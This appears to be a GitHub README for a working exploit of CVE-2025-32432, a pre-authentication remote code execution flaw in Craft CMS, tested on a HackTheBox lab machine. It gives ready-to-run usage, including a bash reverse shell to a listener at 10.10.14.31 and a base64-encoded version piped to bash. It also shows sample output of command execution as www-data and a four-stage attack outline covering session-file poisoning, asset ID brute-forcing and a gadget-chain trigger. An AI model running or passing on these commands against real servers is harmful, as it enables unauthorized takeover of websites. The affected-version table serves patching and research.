c0gnit00/cve-2025-32432Exploit, POC for CVE-2025-32432, CraftCMS2Shell
Critical Pre-Authentication Remote Code Execution in Craft CMS
Affected: Craft CMS 3.x, 4.x, and 5.x (up to 5.6.16)
Info: This exploit is tested against HackTheBox Orion machine
This repository contains a proof-of-concept exploit for CVE-2025-32432, a critical pre-authentication remote code execution vulnerability in Craft CMS. The vulnerability allows an unauthenticated attacker to execute arbitrary PHP code on the server by exploiting Yii2's behavior attachment mechanism and PHP object instantiation via the __class override technique.
pip install requests urllib3
python3 exploit.py -u http://target.com -c "id"
# Start listener on your machine
penelope -p 4444
# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64
# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"
python3 exploit.py -u http://target.com -c "whoami" -a 11
python3 exploit.py -u http://target.com -c "id" \
-s "/tmp/sess_{}"
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
[-s SESSION_PATH] [-q]
CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2
options:
-h, --help show this help message and exit
-u, --url URL Target URL (e.g., http://target.com)
-c, --command COMMAND
Command to execute
-a, --asset-id ASSET_ID
Known valid asset ID (skip brute-force)
-m, --max-asset MAX_ASSET
Max asset ID to brute-force (default: 300)
-s, --session-path SESSION_PATH
Session file path template (default: /var/lib/php/sessions/sess_{})
-q, --quiet Suppress verbose output
$ python3 exploit.py -u http://orion.htb -c "id"
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 ║
║ Target: http://orion.htb ║
║ Command: id ║
╚══════════════════════════════════════════════════════════════╝
[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
| Stage | Action | Endpoint | Auth |
|---|---|---|---|
| 1 | Extract session cookie + CSRF token | GET /admin/login | No |
| 2 | Inject PHP payload into session file | GET /index.php?p=admin/dashboard&a=<PHP> | No |
| 3 | Brute-force valid asset ID | POST /index.php?p=admin/actions/assets/generate-transform | No |
| 4 | Trigger RCE via PhpManager gadget | POST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD> | No |
| Branch | Affected | Fixed |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
/admin/actions/assets/generate-transforma= parameter containing PHP codeas fields in POST request bodiesThis tool is for authorized security testing and research purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.
MIT License - See LICENSE file for details.